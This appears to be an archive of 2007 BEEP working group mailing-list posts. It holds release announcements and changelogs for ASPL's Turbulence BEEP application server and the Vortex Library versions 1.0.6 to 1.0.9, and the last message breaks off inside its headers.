Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l76Avsab007489;	Mon, 6 Aug 2007 03:57:55 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1II0HO-0004PS-00; Mon, 06 Aug 2007 12:57:42 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Mon, 06 Aug 2007 12:57:39 +0200
Message-Id: <1186397859.5999.45.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.1 
X-Scanner: exiscan *1II0HO-0004PS-00*1Wj4/InIZec*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l76Avsab007489
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Turbulence 0.2.1 "Solid Eyes" first public release!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 06 Aug 2007 10:57:56 -0000

                     -=  Turbulence 0.2.1  =-
                       "Solid Eyes release"       

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the first
  public available Turbulence release: an open source BEEP application
  server, written on top of Vortex Library.

  Turbulence is a BEEP server extensible through modules and allows to
  implement server side profiles that are used and combined later with
  other profiles through run time configuration.

  Turbulence is written to make it easy to develop and deploy BEEP
  profiles, allowing developers to provide a convenient configuration
  interface to site administrators and end users.

  Check out the following links to get ready with Turbulence:

    - http://www.turbulence.ws
      [Turbulence homepage]

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and binaries]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  First official release. Included basic configuration features: ports,
  bind address, log files, max connections and bad signal handling.

  It also includes two initial modules: mod-sasl and mod-tunnel, which
  implements and provides facilities and tools to admin them. It also
  included initial tools to manage configuration lists
  (tbc-dblist-mgr), SASL users (tbc-sasl-conf) and module creation
  (tbc-mod-gen).

  This release also includes one of the most important features for
  Turbulence, the profile path: an administrative mechanism that
  allows to configure which profiles can be used by remote peers and
  how they are sequenced, according to peer status, source address,
  previously created channels, and much more.

Thanks to..
~~~~~~~~~~~
  Marshall Rose and Carl Malamud for helping to polish the site.
  
Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Changes since the emptiness
~~~~~~~~~~~~~~~~~~~~~~~~~~~

* [fix] Added a log message to the access file when a profile is
  accepted.  Added a new function to perform such task. API added:

   - turbulence_access
   - access (macro)

* [fix] Changing default turbulence configuration file to
  turbulence.example.conf to avoid overwriting system configuration
  on turbulence install or update.

* [fix] Updated autoconf process to detect axl and vortex version, and
  using them from tbc-mod-gen to produce an appropriate output.

* [fix] Updated DTD file to allow not requiring the additional-content.

* [fix] Updated the tool to support a new option (--enable-autoconf)
  that produces two new files (autogen.sh and configure.ac).


* [new] Include support for an db list implementation, initially
  supporting the xml backend, which allows reading/storing a list of
  items that is automatically managed (disk stored, automatic close,
  etc). API added:

   - TurbulenceDbList
   - turbulence_db_list_open
   - turbulence_db_list_exists
   - turbulence_db_list_add
   - turbulence_db_list_remove
   - turbulence_db_list_get
   - turbulence_db_list_close
   - turbulence_db_list_reload
   - turbulence_db_list_flush

* [new] Added a new tool that allows to manage db list created.
  Operations implemented: add, remove and list.

* [fix] Fixed bug inside profile path engine which was causing to read
  the content provided by nodes following the first child.

* [fix] Making the generated turbulence-config to support a new
  option: --base-dir which returns the turbulence base configuration
  directory.

* [new] Updated tbc-mod-gen to generate a script to allow refreshing
  the source code.

* [new] Updated tbc-mod-gen to support a new node:
  <additional-content> which allows to declare content that will be
  included in the module.

* [fix] Making the tool to allow including into the xml definition
  more source files that are included into the Makefile.am created.

* [fix] Updated the tool to fully produce a compilable module template
  including the Makefile.am and the xml module definition.

* [new] Added a new script which allows to get current default module
  installation dir and the xml module definition directory. Script
  added: turbulence-config.

* [fix] Updated documentation including main configuration settings
  and profile path configuration.

* [fix] Removed filter-modules node from the configuration file
  because it is going to be implemented in an apache style using
  mod-enabled/available directories.

* [fix] Committing more updates to the tbc-mod-gen tool. Now the tool
  is able to produce a basic template file and read it to produce the
  module implementation. Source code not tested.

* [fix] Updated configure files to include the new tools directory and
  the tbc-mod-gen tool.

* [new] Added a new tool to create new modules easily: tbc-mod-gen The
  tool allows to create an xml template file which is used to produce
  a module following conventions used by turbulence.

* [new] Implemented the reconfiguration mechanism required by which
  modules get notifications for reconfiguration if turbulence receives
  a HUP signal.

* [new] Added support to configure max connection limits (hard and
  soft).

* [new] Updated tbc-sasl-conf to allow removing, disabling and listing
  users inside the sasl database provided by mod-sasl.

* [fix] Fixed a bug inside the profile path pre-connmark.

* [fix] Updated turbulence config run to stop the server if at least
  one listener couldn't be started.

* [new] Updated turbulence profile path to include negative
  expressions.  This allow to configure perl regular expression that
  match its negation.  Supported prefixes: "!" and "not". Great!

* [new] Added support for preconnmark attribute at profile path item
  configuration, allowing to enforce the existence of a particular
  mark before a channel can be created.

* [new] Finished initial fully tested and working version for the
  profile path support. Now the profile path supports checking for
  connection marks (<if-success connmark="some-mark">).

  This helps to not only check for the presence of a successfully
  created channel but for a particular mark which notifies a
  particular state.  For instance, SASL channels can be created but
  having the right connmark shows that the channel have finished
  successfully auth operations.  This is getting really
  interesting. GREAT!

* [fix] Added an internal support to allow the turbulence
  administration to use regular expression like * or / without
  escaping them. Because we are using pcre, * or / have an especial
  meaning. Now it is possible to write:

   - <if-success profile="http://iana.org/beep/SASL/*"> 

   which is translated to:

   - <if-success profile="http:\/\/iana.org\/beep\/SASL/.*">. 

* [fix] Finished initial working prototype support profile path
  support.  This initial support allows to select a profile path to be
  applied according to the connection source, server name parameter
  and profiles requested. Great!

* [fix] committing initial implementation that parses and process
  profile path configuration. Checked that the engine deallocates all
  memory used on exit for the profile path support.

* [new] Added initial implementation and working configuration example
  describing initial design and features to be supported for the new
  profile path support. Added to the configure.ac process, detection
  support for pcre (perl regular expressions), required by profile
  path.

* [fix] Making turbulence_config_load to return a status code, that
  allows notifying an error found to the caller.

* [fix] Making turbulence module close to call to all modules to close
  and cleanup its resources allocated.

* [fix] Updated tunnel configuration resolver (to translate "profile"
  and "endpoint" values) to better check request received.

* [fix] Fixed Makefile.am files at the mod tunnel.

* [fix] Updating autoconf files, included new mod-sasl, renamed
  config.xml to turbulence.conf and main configuration template to
  include new options to handle bad signals.

* [new] Added initial mod-sasl implementation which provides fully
  working authentication backend for plain profile. Included an
  initial implementation for a tool to manage user database:
  tbc-sasl-conf.

* [fix] Finished first fully working implementation for the TUNNEL
  profile.  Now turbulence is able to act as a general BEEP
  application proxy. Great!!  It implements the default proxy
  behavior for ip4/fqdn/port and also provides a realtime
  configuration file to translate endpoint and profile to particular
  host location values.

* [new] Removed sasl initial module and implemented a module
  (mod-sasl) to implement all SASL related functions.

* [new] Added a new function to control if debug to console is
  activated and a new function to get the last modification time for a
  file.
  
  - turbulence_set_console_debug
  - turbulence_last_modification 

* [new] Updated turbulence signal handler for SIGSEGV and SIGABRT to
  allow controlling if the signal is ignored, hold or let the exit
  operation to continue. This is now control through the main
  configuration file, at the global settings.

* [fix] Changed default main configuration file from config.xml to
  turbulence.conf.

* [fix] Making turbulence to be built as a library and an an
  executable that init it, allowing to use source code provided by the
  library from modules developed and tools around them.

* [fix] Updated source code to properly implement the exit operation,
  deallocating all resources. Added support to colorify console debug
  (by activating a command line option).

* [new] Updated default configuration DTD validation file to include a
  error-log node used to report error log.

* [new] Finished initial working API to load and activate modules. Now
  turbulence checks and activates module, registering them to be
  unloaded once turbulence finish. API added:
 
   - turbulence_module_get_init
   - turbulence_module_get_close
   - turbulence_module_register
   - turbulence_module_free
   - turbulence_module_cleanup

* [new] Implemented initial signal handling for usual signals (SIGINT,
  SIGTERM, SIGKKILL, SIGQUIT, SIGSEGV, SIGABRT, SIGHP).

* [new] Added support to the application for a new flag (--debug)
  which allows to disable console log (or enable it).

* [new] Making turbulence to send all log messages to log files
  configured at the turbulence main configuration. API added:

   - turbulence_log_init
   - turbulence_log_report
   - turbulence_log_cleanup

* [new] Created a new module to hold all definitions used by
  turbulence modules.

* [fix] Committing first version with a minimal structure to start,
  read the configuration, validate all items, find modules, validate
  them and exec them.

* [fix] Committing last changes to validate turbulence main
configuration
  file.

* [new] Committing initial files for the new BEEP server application.

About Us
~~~~~~~~

  Aspl (Advanced Software Production Line) is a Spanish company that
  provides services and support to introduce open source products into
  organizations.

  It has more than 6 years of experience and its main development line
  is to provide software development and support to install GNU/Linux
  enterprise servers that provides mail, file and firewall services.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library and Turbulence help you. Enjoy Turbulence!

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
6th august 2007, Madrid (Spain)


From francis@aspl.es Fri Aug 10 01:20:10 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l7A8K9Eb006396;	Fri, 10 Aug 2007 01:20:10 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IJPhx-0008JM-00; Fri, 10 Aug 2007 10:18:57 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 10 Aug 2007 10:18:58 +0200
Message-Id: <1186733938.5268.40.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.1 
X-Scanner: exiscan *1IJPhx-0008JM-00*rNwzJZGk9Hs*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l7A8K9Eb006396
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.6 "my generation" release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 10 Aug 2007 08:20:11 -0000

              ######################################
              ##       Vortex Library  1.0.6      ##
              ##      "my generation release"     ##
              ######################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.6 "my generation" release availability: an open source
  "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  General update to make this release more usable on Microsoft
  Windows, using Visual Studio compilers. 

  Added missing support to be able to get error codes reported by peer
  at channel creation. 

  Now xml-rpc-gen is able to include user code into the IDL definition
  that is placed at the resulting XML-RPC server.
    
Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Changes since 1.0.5
~~~~~~~~~~~~~~~~~~~

* [fix] Removed not required glib dependencies installed on
  Makefile.win files (test and xml-rpc-gen tool).

* [fix] Removing epoll API from the libvortex.def

* [fix] Fixed bug inside INT64_CONSTANT and added additional
  definitions for S_ISDIR and S_ISREG if found to be not defined.

* [fix] Updating libvortex.def generation code to remove all functions
  starting with __vortex. Updated the file itself.

* [fix] Changing name for internal functions, making them not
  available at the libvortex.def file, at the TUNNEL implementation.

* [fix] Removed some included and moved some definitions for the
  windows platform.

* [new] Added missing support to get access to the error code and the
  textual response replied by the remote BEEP peer on channel creation
  denial. API added:

    - vortex_connection_pop_channel_error

* [fix] Making vortex_support_strtod to allow receiving a NULL pointer
  for the variable to be used to set the error found.

* [fix] Making vortex xml-rpc module to use new channel error
  reporting to provide more information to the application level when
  an error was received.

* [new] Making the tool to be able to include additional content into
  the service module header that is located in an external file.

* [fix]General update to remove all warnings produced by using Visual
  studio 2005.

* [new] Added VORTEX_EINTR to define the proper value on each platform
  rather redefining EINTR which looks problematic.

* [fix] Fixed unbalanced macro declaration and included documentation
  to include code into the xml-rpc server created by xml-rpc-gen tool.

* [fix] Updating the tool to produced code that is compatible with the
  Visual Studio (only changed internal variables starting with "__"
  replacing that with a single "_").

* [fix] Updated regression test files (xml-rpc-gen created files) due
  to xml-rpc-gen updates.

* [fix] Fixed wrong declaration inside regression not supported by
  Visual Studio.

* [fix] Fixed more compilation errors while using gcc under
  windows. Updated nsi file.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
10h august 2007, Madrid (Spain)


From francis@aspl.es Mon Sep  3 05:15:29 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l83CFRTt000882;	Mon, 3 Sep 2007 05:15:28 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1ISApp-0002Sf-00; Mon, 03 Sep 2007 14:15:17 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Mon, 03 Sep 2007 14:15:17 +0200
Message-Id: <1188821718.6117.80.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.1 
X-Scanner: exiscan *1ISApp-0002Sf-00*3gNvXzr5vbY*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l83CFRTt000882
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library 1.0.7 "tarantula release" is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 03 Sep 2007 12:15:29 -0000

              ######################################
              ##       Vortex Library  1.0.7      ##
              ##        "tarantula release"       ##
              ######################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.7 "tarantula" release availability: an open source "BEEP
  Core" protocol implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  This release includes an updated to the BEEP session connection,
  which now support configuring default tcp timeout.

  It is also included a missing feature that now allows to properly
  handle cross close in transit, allowing BEEP peers to issue a
  channel close at the same time.

  The frame dispatching and send reply code have been updated to not
  block the caller if a wrong deliver order is found, but to store
  that frame, unlock the caller and to perform such deliver later.

  Some minor bugs have been fixed and the regression test updated. A
  set of new function have been also added...

Thanks to...
~~~~~~~~~~~~

  Support to configure different timeouts on beep session connect
  (Martin Huter). Useful comments and bug reports about using vortex
  on Windows (Mark Kane). Comments about library initialization and
  documentation updates (Chris Yourch).
    
Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Changes since 1.0.6
~~~~~~~~~~~~~~~~~~~

* [fix] Included support to perform a non-blocking connect allow to
  configure a different timeout than the one provided by default
  (Martin Huter proposed and provided path). API added:

    - vortex_connection_get_connect_timeout
    - vortex_connection_connect_timeout

* [new] Added two new macros VORTEX_EWOULDBLOCK and VORTEX_EINPROGRESS
  to be defined to the proper value on each platform. Updated vortex
  to use these new values.

* [new] Added new function to produce a digest configuring the amount
  of data to be taken from the input. API added:

    - vortex_tls_get_digest_sized

* [new] Added two new macros that allows to register where the call to
  vortex_cond_wait and vortex_cond_timedwait were produced. API added:

    - VORTEX_COND_WAIT
    - VORTEX_COND_TIMEDWAIT

* [new] Added two new functions to implement a second level log
  (debug, warning and error). Updated previous first level API to
  update its status if a call to vortex_log_enable is done more
  times. Updating the library to not drop message content if the
  second level is not activated.  API added:
  
    - vortex_log2_is_enabled
    - vortex_log2_enable

* [new] Implemented initial code to support close in transit (BEEP
  peers sending close messages at the same time). The code tries to
  detect that situation and perform an implicit close. Added an
  initial regression test to check this feature.

* [fix] Finished initial support for the cross close in transit. Now
  the library support accepting an incoming close requested while a
  reply for an outstanding close requested is waited, handling the
  case as an implicit close. Added initial regression test but more
  checks must be done.

* [new] Added a new function to check the reference counting for a 
  channel. API added:

   - vortex_channel_ref_count

* [fix] Removed some checks not required at the second level frame
  received dispatch function.

* [fix] Fixed and integrated close in transit feature (test 09). Fixed
  some memory leaks introduced by the new channel creation error API.

* [fix] Making windows definition _WIN32_WINNT to be checked before
  being defined again (Reported by Mark Kane).

* [fix] Several updates to the NSI file and Makefiles (windows version)
  to correct files included into the installer (using old headers from
  a wrong location. Reported by Mark Kane).

* [new] Updated vortex connection API to include a function to disable
  tcp_nodealy. API added:

    - vortex_connection_set_sock_tcp_nodelay

* [fix] Updated channel send reply code to not block the caller if the
  reply order requested is wrong, and to store that reply to be used
  later.

* [fix] Making vortex channel close notification and
  vortex_channel_close functions to detect if the application is
  trying to close the channel that is being notified to be closed.

* [fix] Making vortex channel msg and reply deliver at the second
  level to store that messages and replies to be used later if a wrong
  order is found rather than blocking the caller.

* [fix] Documentation update.

* [fix] Updated xml-rpc-gen tool to manage string declarations
  (string) as (const char *).

* [fix] Restored case MIME handling at vortex frame module.

* [fix] Added some ifdef declarations to avoid including some unix
  headers on windows.

* [fix] removed appLevel flag for channel reference handling while
  using or implementing a BEEP profile that allows both peers to
  perform a close operation on the channel channel at the same
  time. Moved reference counting responsibility to the application
  level. Added some notes to explain this.  Updated regression test.

* [new] Updated vortex connection API to include a function to return
  the number of channels running on a provided connection. API added:

    - vortex_connection_channels_count

* [fix] restoring vortex regression client default values..

* [fix] Updated vortex_init documentation and added comments provided
  by Chris Yourch on how to make vortex library to locate its data
  files on a different place.

* [fix] Updating axl and vortex package references.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
3th sep 2007, Madrid (Spain)


From francis@aspl.es Thu Oct 11 09:18:06 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l9BGI4Gn011103;	Thu, 11 Oct 2007 09:18:05 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1Ig0jP-0002tu-00; Thu, 11 Oct 2007 18:17:51 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Thu, 11 Oct 2007 18:18:03 +0200
Message-Id: <1192119483.5596.71.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.10.3 
X-Scanner: exiscan *1Ig0jP-0002tu-00*Bi5lRSLKsMA*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l9BGI4Gn011103
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.8 'lonely world' release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Oct 2007 16:18:06 -0000

              ######################################
              ##       Vortex Library  1.0.8      ##
              ##      "lonely world release"      ##
              ######################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.8 "lonely world" release availability: an open source
  "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  Several changes have been introduced into the xml-rpc-gen tool to
  improve the output code (stub/server). API updates, including a new
  function to perform a channel selection based on a user space
  function. In general, this is a support release for next Turbulence
  version.

Change notifications
~~~~~~~~~~~~~~~~~~~~
  [1] vortex-voidptr-update-01
  http://lists.aspl.es/pipermail/vortex/2007-October/000205.html

Changes since 1.0.7
~~~~~~~~~~~~~~~~~~~

* [fix] General update to apply the API introduced and described by
  vortex-voidptr-update-01 change notification.

* [fix] Updated test files and regression test to conform the new API.
  Only updated calls to vortex_frame_get_payload to cast the content 
  to the proper type.

* [new] Added new function to the vortex connection module to configure
  I/O blocking mode. API added:
   
   - vortex_connection_set_sock_block

* [fix] Fixed memory leak inside the second level frame delivery
  handler under the case where the channel being used for the delivery
  is configured to be seriable.

* [fix] Fixed bug inside the xml-rpc-gen compiler which was causing to
  produce a faulty server side stub service dispatch if some of the
  parameters received by the service were a struct or an array.

* [fix] Fixed double deallocation error at the vortex sequencer
  module.

* [fix] Nullify internal reference on the queue when it is
  deallocated.

* [new] Updated vortex hash module to include a new foreach function
  that allows to provide three user defined parameters. API added:
  
   - vortex_hash_foreach3

* [new] Updated vortex connection module to include a new function
  that allows to select a channel providing the function that is
  called as a selector. API added:
  
   - vortex_connection_get_channel_by_func
   - VortexChannelSelector (handler)

* [fix] Some updates at the sasl doc.

* [fix] Fixed syntax error while compiling vortex connection module on
  windows.

* [fix] Fixed more visual studio problems...

* [new] Updated vortex connection API to provide a new macro that
  allows to get the associated serverName on a connection:
  
   - SERVER_NAME_FROM_CHANNEL

* [fix] Added additional missing check after TLS negotiation, to avoid
  keep with process if something have failed with the TLS handshake
  itself.

* [fix] Added some debug code to drop log information when the TLS
  negotiation fails.

* [fix] Included support for gettimeofday function to be available on
  windows. This function is really useful while implementing timeout
  operations.

* [fix] Updated documentation for the gettimeofday function provided
  on windows.

* [fix] committing changes to the download section, placing a direct
  reference to the source code download.

* [fix] Removed some configure.ac variables used by previous glib
  dependency. Updated VERSION file.

* [fix] Fixed lost G_OS_WIN32 inside the xml-rpc-gen tool

* [fix] Fixed wrong code produced to handle boolean parameters at
  the client stub connector (xml-rpc-gen tool).

* [fix] Fixed wrong boolean handling at the unmarshalling code produced
  at the server side (xml-rpc-gen tool).

* [fix] Removed precondition at
  vortex_xml_rpc_method_call_create_value which was causing to not
  allow creating boolean false values.

* [fix] Fixed compilation error inside the xml-rpc-gen tool at the
  windows platform.

* [fix] Added macro to the vortex xml-rpc to clearly represent an
  empty string without meaning. API added:

   - XML_RPC_EMPTY_STR

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
11th oct 2007, Madrid (Spain)


From francis@aspl.es Fri Nov  2 03:56:56 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lA2Aus6B006750;	Fri, 2 Nov 2007 03:56:54 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1InuCg-0008Jv-00; Fri, 02 Nov 2007 11:56:42 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 02 Nov 2007 11:56:43 +0100
Message-Id: <1194001003.29547.2.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
X-Scanner: exiscan *1InuCg-0008Jv-00*9EaIrHSYNxc*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id lA2Aus6B006750
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.9 'A certain shade of green release' is
	ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
